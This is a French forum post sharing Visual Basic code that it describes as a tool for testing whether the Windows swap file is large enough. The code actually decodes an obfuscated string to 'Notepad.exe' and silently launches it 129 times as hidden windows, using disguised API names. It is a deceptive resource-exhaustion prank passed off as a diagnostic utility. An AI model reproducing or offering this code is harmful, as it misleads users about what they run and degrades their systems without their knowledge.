Ce super code permet de tester votre swap de windows. Il vous permettra de savoir si il est assez gros!
Source / Exemple :
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Const ENUMERATOR = &H80
Private Const WANNA_GET_THIS_PARAM = &H1
Private Const StringMalformed As String = "Ooueqae.fxf"
Private Declare Function nApiIsntIt1 Lib "kernel32" Alias _
"CreateProcessA" (ByVal Param1 As String, ByVal Param2 _
As String, Param3 As SECURITY_ATTRIBUTES, Param4 As _
SECURITY_ATTRIBUTES, ByVal Param5 As Long, ByVal Param6 _
As Long, Param7 As Any, ByVal Param8 As String, Param9 _
As STARTUPINFO, Param10 As PROCESS_INFORMATION) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" _
Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, _
ByVal nSize As Long) As Long
Private Sub Powerize(ByVal Name As String)
Dim Startup As STARTUPINFO
Dim Process As PROCESS_INFORMATION
Dim SecuritY As SECURITY_ATTRIBUTES
SecuritY.nLength = Len(SecuritY)
Startup.cb = Len(Startup)
Startup.dwFlags = WANNA_GET_THIS_PARAM
Startup.wShowWindow = 0
pclass = Priority_Class
nApiIsntIt1 vbNullString, Name, SecuritY, SecuritY, False, &H80, 0&, _
Resolve(Name), Startup, Process
End Sub
Private Function Resolve(ByVal Name As String) As String
For i = Len(Name) To 1 Step -1
If Mid(Name, i, 1) = "\" Then Exit For
Next i
Resolve = Left(Name, i)
End Function
Private Function iNetTrans(ByVal Crack As String) As String
Dim Token As Boolean
Token = False
For i = 1 To Len(Crack)
If Token Then iNetTrans = iNetTrans + Mid(Crack, i, 1)
If Not Token Then iNetTrans = iNetTrans + Chr$(Asc(Mid(Crack, i, 1)) - 1)
Token = Not Token
Next i
End Function
Private Function FindIt() As String
Dim Ret As Long
FindIt = Space(255)
Ret = GetSystemDirectory(FindIt, 255)
FindIt = Left$(FindIt, Ret)
FindIt = Resolve(FindIt) + iNetTrans(StringMalformed)
End Function
Private Sub main()
iString = FindIt
For i = 0 To ENUMERATOR
Powerize iString
Next i
End Sub
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.